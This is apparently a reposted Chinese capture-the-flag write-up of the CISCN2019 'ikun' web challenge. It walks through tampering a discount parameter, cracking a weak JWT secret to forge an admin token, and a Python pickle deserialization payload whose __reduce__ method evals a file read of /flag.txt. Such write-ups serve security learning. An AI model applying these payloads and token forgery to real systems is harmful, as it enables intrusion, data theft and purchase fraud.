[CISCN2019 华北赛区 Day1 Web2]ikun

您所在的位置:网站首页 ikun别称 [CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

2023-09-13 15:59| 来源: 网络整理| 查看: 265

WP

进入环境,要求买lv6! 写个脚本跑出来

import requests from time import * url="http://63ab8612-b1df-4ca2-85e4-e7b7c1900b7c.node3.buuoj.cn/shop?page={}" for i in range(500): r=requests.get(url=url.format(i)) if "/lv/lv6" in r.text: print(i) sleep(0.2)

跑到是?page=180的时候可以。 尝试买,发现钱不够。抓包看一下,发现后面有个discount: 在这里插入图片描述 改一下,发现买成功,折扣是我们可控的: 在这里插入图片描述 但是提示需要admin才能访问。之前就注意到了jwt,放进JWT那个网站看一下,alg是HS256。大概率是JWT攻击,但是一开始没能做出来,主要就是因为跑弱密钥的那个工具在虚拟机里,一直懒得开虚拟机,试了一下无签名攻击,发现不行就去看有没有其他的点给了提示,所以还是自己太懒了。 在这里插入图片描述 密钥跑出来之后,伪造一下JWT,然后就可以以admin访问页面了。 f12可以看到有源码泄露:

删库跑路前我留了好东西在这里

下载下来,发现是个python的tornado框架,又是我看不懂的东西。。。大致看了一下,在settings.py那里发现了Hint:

这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

有后门。在__init__.py里看到了这个:

(r'/b1g_m4mber', AdminHandler)

所以去admin.py那里,发现了后门: 在这里插入图片描述 pickle.loads(urllib.unquote(become)),很明显的python反序列化。可惜我python反序列化没怎么学过,只会这样的最简单的没有任何过滤的攻击,而且这是有回显的,因此构造一下,但是发现os.system和os.popen这样的都用不了,就很迷,最后看了WP,师傅们是这样:

import os import pickle import urllib class exp(object): def __reduce__(self): return (eval,("open('/flag.txt').read()",)) a=exp() s=pickle.dumps(a) print urllib.quote(s)

产生一下payload,打过去就能回显出flag: 在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3